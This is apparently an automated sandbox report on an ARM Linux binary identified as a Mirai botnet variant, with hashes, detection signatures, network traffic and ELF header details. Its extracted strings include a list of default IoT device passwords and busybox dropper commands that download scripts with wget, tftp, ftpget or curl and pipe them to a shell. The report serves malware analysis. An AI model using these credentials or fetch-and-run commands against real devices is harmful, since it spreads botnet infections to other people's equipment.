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Linux Analysis Report
arm.elf

Overview

General Information

Sample name:arm.elf
Analysis ID:1585102
MD5:846374c0d514db0a2d924f396d651733
SHA1:817aa9443c3643d307d1ba6c0ce54b2efb4efe82
SHA256:e5198a843b81a23198599e43c60d0c9c2ffdfe4e05edeb42eb3d059b9dafa047
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1585102
Start date and time:2025-01-07 04:47:08 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 18s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arm.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@2/0
Command:/tmp/arm.elf
PID:5431
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • arm.elf (PID: 5431, Parent: 5357, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
arm.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    5431.1.00007fd76c017000.00007fd76c030000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: arm.elfReversingLabs: Detection: 34%
      Source: arm.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68k
      Source: /tmp/arm.elf (PID: 5431)Socket: 127.0.0.1:43478Jump to behavior
      Source: global trafficTCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443
      Source: unknownTCP traffic detected without corresponding DNS query: 185.125.190.26
      Source: unknownTCP traffic detected without corresponding DNS query: 185.125.190.26
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: arm.elfString found in binary or memory: http:///curl.sh
      Source: arm.elfString found in binary or memory: http:///wget.sh
      Source: unknownNetwork traffic detected: HTTP traffic on port 48202 -> 443
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
      Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@2/0
      Source: /tmp/arm.elf (PID: 5431)Queries kernel information via 'uname': Jump to behavior
      Source: arm.elf, 5431.1.000055d18169b000.000055d1817e9000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
      Source: arm.elf, 5431.1.00007ffc51030000.00007ffc51051000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.elf
      Source: arm.elf, 5431.1.000055d18169b000.000055d1817e9000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
      Source: arm.elf, 5431.1.00007ffc51030000.00007ffc51051000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
      Source: arm.elf, 5431.1.00007ffc51030000.00007ffc51051000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: arm.elf, type: SAMPLE
      Source: Yara matchFile source: 5431.1.00007fd76c017000.00007fd76c030000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: arm.elf, type: SAMPLE
      Source: Yara matchFile source: 5431.1.00007fd76c017000.00007fd76c030000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting
      Valid AccountsWindows Management Instrumentation1
      Scripting
      Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Encrypted Channel
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Non-Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive2
      Application Layer Protocol
      Automated ExfiltrationData Encrypted for Impact
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      arm.elf34%ReversingLabsLinux.Trojan.Mirai
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      162.213.35.24
      truefalse
        high
        NameSourceMaliciousAntivirus DetectionReputation
        http:///wget.sharm.elffalse
          high
          http:///curl.sharm.elffalse
            high
            • No. of IPs < 25%
            • 25% < No. of IPs < 50%
            • 50% < No. of IPs < 75%
            • 75% < No. of IPs
            IPDomainCountryFlagASNASN NameMalicious
            185.125.190.26
            unknownUnited Kingdom
            41231CANONICAL-ASGBfalse
            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            185.125.190.26arm7.elfGet hashmaliciousMiraiBrowse
              arm6.elfGet hashmaliciousMiraiBrowse
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                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                daisy.ubuntu.comarm.elfGet hashmaliciousMiraiBrowse
                                • 162.213.35.25
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                                • 91.189.91.42
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                                • 91.189.91.42
                                No context
                                No context
                                No created / dropped files found
                                File type:ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
                                Entropy (8bit):6.0307230092097805
                                TrID:
                                • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                File name:arm.elf
                                File size:104'020 bytes
                                MD5:846374c0d514db0a2d924f396d651733
                                SHA1:817aa9443c3643d307d1ba6c0ce54b2efb4efe82
                                SHA256:e5198a843b81a23198599e43c60d0c9c2ffdfe4e05edeb42eb3d059b9dafa047
                                SHA512:6412e7f0454e4fc90539093b55ab91a0e20882f34161247c0433b5161e9a6e9d76d88227e4e4df56902454bbe60fde3a6fb388def87be7fd72c133eac5a312ed
                                SSDEEP:3072:D34wk78PQ8N7cA6uClL3mOHjkmr9yiVDGCp4UnT7:DIwc8PQrA6u4LpdxtDGS5
                                TLSH:29A30855B8929E53C6C142BBFA4F839D372623E8E2DF3307DD245F21368B46B1D6A142
                                File Content Preview:.ELF...a..........(.........4...........4. ...(.........................................................xg..........Q.td..................................-...L."...#U..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

                                ELF header

                                Class:ELF32
                                Data:2's complement, little endian
                                Version:1 (current)
                                Machine:ARM
                                Version Number:0x1
                                Type:EXEC (Executable file)
                                OS/ABI:ARM - ABI
                                ABI Version:0
                                Entry Point Address:0x8190
                                Flags:0x202
                                ELF Header Size:52
                                Program Header Offset:52
                                Program Header Size:32
                                Number of Program Headers:3
                                Section Header Offset:103620
                                Section Header Size:40
                                Number of Section Headers:10
                                Header String Table Index:9
                                NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                NULL0x00x00x00x00x0000
                                .initPROGBITS0x80940x940x180x00x6AX004
                                .textPROGBITS0x80b00xb00x154c40x00x6AX0016
                                .finiPROGBITS0x1d5740x155740x140x00x6AX004
                                .rodataPROGBITS0x1d5880x155880x35740x00x2A004
                                .ctorsPROGBITS0x290000x190000x80x00x3WA004
                                .dtorsPROGBITS0x290080x190080x80x00x3WA004
                                .dataPROGBITS0x290140x190140x4700x00x3WA004
                                .bssNOBITS0x294840x194840x62f40x00x3WA004
                                .shstrtabSTRTAB0x00x194840x3e0x00x0001
                                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                LOAD0x00x80000x80000x18afc0x18afc6.09850x5R E0x8000.init .text .fini .rodata
                                LOAD0x190000x290000x290000x4840x67783.39620x6RW 0x8000.ctors .dtors .data .bss
                                GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                                TimestampSource PortDest PortSource IPDest IP
                                Jan 7, 2025 04:48:00.110382080 CET48202443192.168.2.13185.125.190.26
                                Jan 7, 2025 04:48:31.598543882 CET48202443192.168.2.13185.125.190.26
                                TimestampSource PortDest PortSource IPDest IP
                                Jan 7, 2025 04:47:49.815646887 CET5989853192.168.2.138.8.8.8
                                Jan 7, 2025 04:47:49.815733910 CET3470753192.168.2.138.8.8.8
                                Jan 7, 2025 04:47:49.822031975 CET53347078.8.8.8192.168.2.13
                                Jan 7, 2025 04:47:49.822885990 CET53598988.8.8.8192.168.2.13
                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                Jan 7, 2025 04:47:49.815646887 CET192.168.2.138.8.8.80x4a08Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                                Jan 7, 2025 04:47:49.815733910 CET192.168.2.138.8.8.80x15e1Standard query (0)daisy.ubuntu.com28IN (0x0001)false
                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                Jan 7, 2025 04:47:49.822885990 CET8.8.8.8192.168.2.130x4a08No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                                Jan 7, 2025 04:47:49.822885990 CET8.8.8.8192.168.2.130x4a08No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

                                System Behavior

                                Start time (UTC):03:47:45
                                Start date (UTC):07/01/2025
                                Path:/tmp/arm.elf
                                Arguments:/tmp/arm.elf
                                File size:4956856 bytes
                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1